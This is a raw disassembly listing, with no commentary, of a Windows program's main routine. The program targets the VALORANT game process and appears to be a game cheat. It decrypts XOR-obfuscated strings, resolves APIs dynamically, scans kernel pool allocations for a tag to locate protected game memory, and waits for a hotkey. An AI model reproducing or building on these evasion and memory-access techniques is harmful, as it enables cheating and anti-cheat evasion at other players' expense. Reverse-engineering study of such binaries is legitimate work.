mov qword [rbp + 0x19b8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x19c0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x19c8], rax
vmovdqu ymm0, ymmword [rbp + 0x5e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x19a0]
vmovdqa ymmword [rbp + 0x5e0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x600]
vpxor xmm0, xmm0, xmmword [rbp + 0x19c0]
vmovdqa xmmword [rbp + 0x600], xmm0
movabs rax, 0x67e9c93bcfee48f2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0xbbce7174f8f2b606
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1870], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1878], rax
vmovdqa xmm0, xmmword [rbp + 0xa0]
vpxor xmm0, xmm0, xmmword [rbp + 0x1870]
vmovdqa xmmword [rbp + 0xa0], xmm0
lea rcx, [rbp + 0xa0]
vzeroupper
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0x5e0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14010b0c0], rax
lea rcx, [rbp + 0xff8]
call fcn.140006680
nop
lea rcx, [rbp + 0x1190]
call fcn.14000d9d0
lea rcx, [rbp + 0x1190]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xfd8]
call fcn.140006680
nop
lea rcx, [rbp + 0xf98]
call fcn.140006680
nop
lea rcx, [rbp + 0xf18]
call fcn.140024480
lea rdx, [0x14001ab60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rax
movabs rax, 0x6daec8609dd7018f
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x260], rcx
movabs rax, 0xdaa951069794fa0d
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x268], rcx
movabs rax, 0x1043bee4f6aedf5a
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x270], rcx
movabs rax, 0x77f49f48b0bebcb1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1ac0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1ac8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1ad0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1ad8], rax
vmovdqu ymm0, ymmword [rbp + 0x1ac0]
vpxor ymm0, ymm0, ymmword [rbp + 0x260]
vmovdqa ymmword [rbp + 0x260], ymm0
lea rdx, [rbp + 0x260]
mov rcx, r8
vzeroupper
call fcn.14000b3e0
cmp qword [0x14010b0b8], 0
je 0x14002317a
nop dword [rax]
lea rdx, str.VALORANT_Win64_Shipping.exe
lea rcx, [rbp + 0x7d0]
call fcn.1400066e0
nop
lea rcx, [rbp + 0x7d0]
call fcn.140011da0
mov eax, eax
mov qword [0x14010b0b8], rax
lea rcx, [rbp + 0x7d0]
call fcn.140006680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x14010b0b8], 0
jne 0x140023130
movabs rax, 0x3c7bc09fcf34de6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1860], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1868], rax
movdqa xmm0, xmmword [rbp + 0xb0]
pxor xmm0, xmmword [rbp + 0x1860]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xb0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x14001ab60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rax
movabs rax, 0x6daed86893cc018f
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xc0], rcx
movabs rax, 0xbbce715ad6dcf40d
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xc8], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x1840], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1848], rax
movdqa xmm0, xmmword [rbp + 0xc0]
pxor xmm0, xmmword [rbp + 0x1840]
movdqa xmmword [rbp + 0xc0], xmm0
lea rdx, [rbp + 0xc0]
mov rcx, r8
call fcn.14000b3e0
mov esi, 4
mov rax, qword gs:[0x58]
add rsi, qword [rax]
mov eax, dword [rsi]
cmp dword [0x14010b634], eax
jle 0x1400232d3
lea rcx, [0x14010b634]
call fcn.1400c8690
cmp dword [0x14010b634], 0xffffffff
jne 0x1400232d3
lea rcx, [0x1400dcea8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x1400eb288]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14010b638], rax
lea rcx, [0x14010b634]
call fcn.1400c8630
mov dword [rbp + 0xf00], r14d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
xor r8d, r8d
lea edx, [r8 + 8]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r9d, 0xff
mov r8, rbx
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rdi, rax
lea r9, [rbp + 0xf00]
mov r8d, Ordinal_50
mov rdx, rax
lea ecx, [r8 + 0x12]
call qword [0x14010b638]
mov ebx, dword [rbp + 0xf00]
add ebx, 0x1f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r9d, ebx
mov r8, rdi
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rbx, rax
lea r9, [rbp + 0xf00]
mov r8d, dword [rbp + 0xf00]
mov rdx, rax
mov ecx, 0x42
call qword [0x14010b638]
mov rcx, r14
test rbx, rbx
je 0x1400233c2
mov eax, dword [rbx]
test eax, eax
je 0x1400233c2
lea rdx, [rbx + 0x18]
mov r9d, eax
nop dword [rax]
nop dword [rax + rax]
mov rax, qword [rdx - 0x10]
mov r8, rax
and r8, 0xfffffffffffffffe
test al, 1
je 0x1400233b8
cmp qword [rdx - 8], 0x200000
jne 0x1400233b8
test rcx, rcx
jne 0x1400233b8
cmp dword [rdx], 0x546e6f43
cmove rcx, r8
add rdx, 0x18
sub r9, 1
jne 0x140023390
mov qword [0x14010b088], rcx
movabs r15, 0xffff0000ffffff00
mov eax, dword [rsi]
cmp dword [0x14010b634], eax
jle 0x140023422
lea rcx, [0x14010b634]
call fcn.1400c8690
cmp dword [0x14010b634], 0xffffffff
jne 0x140023422
lea rcx, [0x1400dcea8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x1400eb288]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14010b638], rax
lea rcx, [0x14010b634]
call fcn.1400c8630
mov dword [rbp + 0xf04], r14d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
xor r8d, r8d
lea edx, [r8 + 8]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r9d, 0xff
mov r8, rbx
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rdi, rax
lea r9, [rbp + 0xf04]
mov r8d, Ordinal_50
mov rdx, rax
lea ecx, [r8 + 0x12]
call qword [0x14010b638]
mov ebx, dword [rbp + 0xf04]
add ebx, 0x1f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r9d, ebx
mov r8, rdi
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rbx, rax
lea r9, [rbp + 0xf04]
mov r8d, dword [rbp + 0xf04]
mov rdx, rax
mov ecx, 0x42
call qword [0x14010b638]
mov rcx, r14
test rbx, rbx
je 0x140023512
mov eax, dword [rbx]
test eax, eax
je 0x140023512
lea rdx, [rbx + 0x18]
mov r9d, eax
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rdx - 0x10]
mov r8, rax
and r8, 0xfffffffffffffffe
test al, 1
je 0x140023508
cmp qword [rdx - 8], 0x200000
jne 0x140023508
test rcx, rcx
jne 0x140023508
cmp dword [rdx], 0x546e6f43
cmove rcx, r8
add rdx, 0x18
sub r9, 1
jne 0x1400234e0
mov qword [0x14010b088], rcx
test r15, rcx
je 0x1400233d3
lea rdx, [0x14001ab60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rax
movabs rax, 0x3c79c33aec7018f
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xd0], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0xd8], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x1830], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1838], rax
movdqa xmm0, xmmword [rbp + 0xd0]
pxor xmm0, xmmword [rbp + 0x1830]
movdqa xmmword [rbp + 0xd0], xmm0
lea rdx, [rbp + 0xd0]
mov rcx, r8
call fcn.14000b3e0
cmp qword [0x14010b0b0], 0
movabs r15, 0x77f49f669e90d2d4
jne 0x1400237ba
movabs r15, 0xffffffff00000000
movabs r13, 0xffffff8000000000
mov eax, dword [rsi]
cmp dword [0x14010b634], eax
jle 0x140023621
lea rcx, [0x14010b634]
call fcn.1400c8690
cmp dword [0x14010b634], 0xffffffff
jne 0x140023621
lea rcx, [0x1400dcea8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x1400eb288]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14010b638], rax
lea rcx, [0x14010b634]
call fcn.1400c8630
mov dword [rbp + 0xf08], r14d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
xor r8d, r8d
lea edx, [r8 + 8]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r9d, 0xff
mov r8, rbx
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rdi, rax
lea r9, [rbp + 0xf08]
mov r8d, Ordinal_50
mov rdx, rax
lea ecx, [r8 + 0x12]
call qword [0x14010b638]
mov ebx, dword [rbp + 0xf08]
add ebx, 0x1f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r9d, ebx
mov r8, rdi
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rbx, rax
lea r9, [rbp + 0xf08]
mov r8d, dword [rbp + 0xf08]
mov rdx, rax
mov ecx, 0x42
call qword [0x14010b638]
mov rcx, r14
test rbx, rbx
je 0x140023712
mov eax, dword [rbx]
test eax, eax
je 0x140023712
lea rdx, [rbx + 0x18]
mov r9d, eax
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rdx - 0x10]
mov r8, rax
and r8, 0xfffffffffffffffe
test al, 1
je 0x140023708
cmp qword [rdx - 8], 0x200000
jne 0x140023708
test rcx, rcx
jne 0x140023708
cmp dword [rdx], 0x546e6f43
cmove rcx, r8
add rdx, 0x18
sub r9, 1
jne 0x1400236e0
mov qword [0x14010b088], rcx
add rcx, 0x60
mov qword [rbp + 0xf10], r14
mov eax, dword [0x14010b0b8]
mov dword [rbp + 0xec8], eax
mov qword [rbp + 0xec0], 8
mov qword [rbp + 0xeb8], rcx
mov dword [rbp + 0xecc], 2
lea rax, [rbp + 0xf10]
mov qword [rbp + 0xed0], rax
lea rcx, [rbp + 0xeb0]
call fcn.140024be0
mov r8, qword [rbp + 0xf10]
mov rcx, r8
and rcx, r15
add rcx, r13
mov rax, r8
and eax, 0xffffff
add rax, qword [0x14010b088]
movabs rdx, 0xffffff7fffffffff
test rdx, rcx
cmovne rax, r8
mov qword [0x14010b0b0], rax
test rax, rax
je 0x1400235d2
movabs r13, 0x3c7bc09fc802185
movabs r15, 0x77f49f669e90d2d4
lea rdx, [0x14001ab60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rax
movabs rax, 0x3c79c33abd5018f
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xe0], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0xe8], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x1770], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1778], rax
movdqa xmm0, xmmword [rbp + 0xe0]
pxor xmm0, xmmword [rbp + 0x1770]
movdqa xmmword [rbp + 0xe0], xmm0
lea rdx, [rbp + 0xe0]
mov rcx, r8
call fcn.14000b3e0
mov ecx, 0xfa1
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x3c7bc09fcf34de6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1900], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1908], rax
movdqa xmm0, xmmword [rbp + 0xf0]
pxor xmm0, xmmword [rbp + 0x1900]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0xf0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x14001ab90]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rax
movabs rax, 0x23b4cf6c8ed0018f
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x280], rcx
movabs rax, 0xda89511ab1d2e82c
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x288], rcx
movabs rax, 0x602c9ea5aca0df5a
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x290], rcx
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1aa0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1aa8], rax
movabs rdi, 0x602c9e8b828eba37
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1ab0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1ab8], rax
vmovdqu ymm0, ymmword [rbp + 0x280]
vpxor ymm1, ymm0, ymmword [rbp + 0x1aa0]
vmovdqa ymmword [rbp + 0x280], ymm1
lea rdx, [rbp + 0x280]
mov rcx, r8
vzeroupper
call fcn.14000b3e0
mov ecx, WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jb 0x1400239cd
nop word [rax + rax]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x1400239b0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
movabs rsi, 0x7bafc96697dc1bc6
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
movabs r14, 0xc8a91812969db936
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1b00], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1b08], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1b10], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1b18], rax
vmovdqu ymm0, ymmword [rbp + 0x2a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1b00]
vmovdqa ymmword [rbp + 0x2a0], ymm1
lea rax, [rbp + 0x2a0]
mov qword [rbp + 0x220], rax
xor r8d, r8d
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x7f0]
vzeroupper
call fcn.140025d90
nop
lea rcx, [rbp + 0x7f0]
call fcn.140010c70
nop
lea rcx, [rbp + 0x7f0]
call fcn.140006600
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
movabs rax, 0x302eae2e5ebd66b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
movabs rax, 0x77f49f669e90b5b2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1d00], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1d08], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1d10], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1d18], rax
vmovdqu ymm0, ymmword [rbp + 0x320]
vpxor ymm1, ymm0, ymmword [rbp + 0x1d00]
vmovdqa ymmword [rbp + 0x320], ymm1
lea rax, [rbp + 0x320]
mov qword [rbp + 8], rax
xor r8d, r8d
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x810]
vzeroupper
call fcn.140025d90
nop
lea rcx, [rbp + 0x810]
call fcn.140010980
movzx ebx, al
lea rcx, [rbp + 0x810]
call fcn.140006600
test bl, bl
jne 0x140023f2e
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x16c0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x16c8], rax
movabs rax, 0x302eae2e5ebd66b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x16d0], rax
movabs rax, 0x77f49f669e90b5b2
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x16d8], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1cc0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1cc8], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1cd0], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1cd8], rax
vmovdqu ymm0, ymmword [rbp + 0x16c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1cc0]
vmovdqa ymmword [rbp + 0x16c0], ymm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x16c0]
lea rcx, [rbp + 0xb90]
vzeroupper
call fcn.140024370
lea rcx, [rbp + 0xc38]
call fcn.1400064a0
lea rcx, [rbp + 0xc38]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x40], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x48], rax
movabs rax, 0x15ec1e2efebc96b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x50], rax
movabs rax, 0x77f4f800fdbeb7b3
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x58], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1ca0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1ca8], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1cb0], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1cb8], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x1ca0]
vmovdqa ymmword [rbp + 0x40], ymm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xa88]
vzeroupper
call fcn.140024370
lea rcx, [rbp + 0xb30]
call fcn.1400064a0
lea rcx, [rbp + 0xb30]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x300], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x308], rax
movabs rax, 0x64fb0eee5efc86b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x310], rax
movabs rax, 0x77f49f669e90d2b3
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x318], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1c80], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1c88], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1c90], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1c98], rax
vmovdqu ymm0, ymmword [rbp + 0x300]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c80]
vmovdqa ymmword [rbp + 0x300], ymm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0xc98]
vzeroupper
call fcn.140024370
lea rcx, [rbp + 0xd40]
call fcn.1400064a0
lea rcx, [rbp + 0xd40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2e0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2e8], rax
movabs rax, 0x4e41f1fff1fbd96b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2f0], rax
movabs rax, 0x77f49f669ef7b4b7
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2f8], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x16e0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x16e8], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x16f0], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x16f8], rax
vmovdqu ymm0, ymmword [rbp + 0x2e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x16e0]
vmovdqa ymmword [rbp + 0x2e0], ymm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0xda0]
vzeroupper
call fcn.140024370
lea rcx, [rbp + 0xe48]
call fcn.1400064a0
lea rcx, [rbp + 0xe48]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [0x140109cb0]
call fcn.14000d870
lea rdx, str.VALORANT_Win64_Shipping.exe
lea rcx, [rbp + 0x1720]
call fcn.1400066e0
nop
lea rcx, [rbp + 0x1720]
call fcn.140011da0
mov eax, eax
mov qword [0x14010b0b8], rax
lea rcx, [rbp + 0x1720]
call fcn.140006680
xor r8d, r8d
xor edx, edx
lea rcx, [0x140014f60]
call fcn.14001bb70
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140014f50]
call fcn.14001bb70
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
lea rcx, [0x14001c100]
call fcn.14001bb70
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140020650]
call fcn.14001bb70
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp + 0x1098]
call fcn.140006680
nop
lea rcx, [rbp + 0x1300]
call fcn.14000d920
nop
lea rcx, [rbp + 0xf38]
call fcn.140006680
nop
lea rcx, [rbp + 0x1078]
call fcn.140006680
nop
lea rcx, [rbp + 0x1410]
call fcn.1400240b0
nop
lea rcx, [rbp + 0x1038]
call fcn.140006680
nop
lea rcx, [rbp + 0xf58]
call fcn.140006680
nop
lea rcx, [rbp + 0xf78]
call fcn.140006680
nop
lea rcx, [rbp + 0xfb8]
call fcn.140006680
nop
lea rcx, [rbp + 0x1018]
call fcn.140006680
nop
lea rcx, [rbp + 0x1058]
call fcn.140006680
xor eax, eax
mov rcx, qword [rbp + 0x1d80]
xor rcx, rsp
call fcn.1400c84e0
lea r11, [rsp + 0x1df0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret